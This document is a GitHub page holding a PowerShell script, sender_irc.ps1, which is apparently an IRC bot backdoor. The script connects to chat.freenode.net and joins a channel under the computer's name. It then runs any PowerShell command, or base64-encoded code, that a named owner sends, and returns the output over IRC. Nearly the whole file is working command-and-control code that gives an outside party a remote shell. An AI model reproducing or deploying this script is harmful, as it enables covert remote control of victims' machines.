-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathsender_irc.ps1
140 lines (116 loc) · 4.02 KB
/
sender_irc.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
$server = "chat.freenode.net"
$port = 6667
$bot = "BOT-" + $env:COMPUTERNAME
$channel = "#SCRIPT-POWERSHELL"
$owner = "The-oo"
$date = Get-Date
$color = "green","yellow","magenta"
function object_to_multistring{
param($rawsingleString)
$fulltext = @()
$tata = ""
for ($i = 0; $i -lt $rawsingleString.length; $i++){
if([int][char]$rawsingleString[$i]-eq 13){
$fulltext += $tata
$tata = ''
}
elseif([int][char]$rawsingleString[$i]-eq 10){}
else{
$tata +=$rawsingleString[$i]
}
}
$fulltext += $tata
return $fulltext
}
# Connect-session
$TCPClient = new-object Net.Sockets.TcpClient
$TCPClient.Connect($server, $port)
[Net.Sockets.NetworkStream]$NetStream = $TCPClient.GetStream()
[IO.StreamWriter]$writer = new-object IO.StreamWriter($NetStream,[Text.Encoding]::ASCII)
[IO.StreamReader]$reader = new-object IO.StreamReader($NetStream,[Text.Encoding]::ASCII)
$writer.AutoFlush = $true
if($TCPClient.Connected){
sleep(3)
$writer.WriteLine("NICK " + $bot)
sleep(0.1)
$writer.WriteLine("USER " + $bot + " 0 * :" + $bot)
sleep(0.1)
$writer.WriteLine("JOIN " + $channel)
sleep(0.1)
$writer.WriteLine("PRIVMSG " + $owner + " :Bot demarre le " + $date)
sleep(0.1)
$writer.WriteLine("PRIVMSG " + $channel + " :J'ai bien rejoins le channel")
sleep(0.1)
$writer.Flush()
}
else{
write-host "Problème de connection"
}
$read = $reader.ReadLine()
$hostname = $read.Split(" ")[0]
do {
$read = $reader.ReadLine();
write-host $read
if($read -like '*End of /MOTD command*') {
sleep 1
$pass = $true
}
} until($pass)
do {
$read = $reader.ReadLine();
write-host $read
$user = $read.Split("!")[0]
if(($read.Split("!")[0]) -eq ':' + $owner) {
if ($read -like '*stop_powershell*') {
$writer.WriteLine("QUIT")
$read = $reader.ReadLine();
write-host $read
break
}
if ($read -like '*command_irc*') {
$value = $read -split "command_irc "
Write-host $value[1]
$writer.WriteLine($value[1])
}
if ($read -like '*:command_ps*') {
$value = $read -split "command_ps "
$command = $value[1]
try {
$result = Invoke-Expression $command
$result_string = (($result | Format-list | Out-String) -replace '(?m)^\s*?\n') -replace (":","=")
[System.Collections.ArrayList]$multistring = object_to_multistring -rawsingleString $result_string
if (($multistring[($multistring.Count-1)].length) -eq 0) {
$multistring.RemoveAt($multistring.Count-1)
}
foreach ($line in $multistring) {
$writer.WriteLine("PRIVMSG " + $owner + " :" + $line)
Write-Host $line -Fore ($color | Get-Random)
Start-Sleep -Milliseconds 150
}
} catch {
$writer.WriteLine("PRIVMSG " + $owner + " :La commande suivante a echoue --> " + $command)
}
}
if ($read -like '*:command_code*') {
$value = $read -split "command_code "
$code = $value[1]
try {
$decoded = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($code))
$result = Invoke-Expression $decoded
$writer.WriteLine("PRIVMSG " + $owner + " :" + $result)
} catch {
$writer.WriteLine("PRIVMSG " + $owner + " :Le code suivante a echoue --> " + $code)
}
}
}
if ($read -like '*' + $hostname + '*') {
$writer.WriteLine("PRIVMSG " + $owner + " :" + $read)
Start-Sleep -Milliseconds 150
}
if ($read -eq 'PING ' + $hostname) {
$writer.WriteLine("PONG " + $hostname)
write-host pong
}
} until($read -eq "")
$TCPClient.Close();
Remove-Variable pass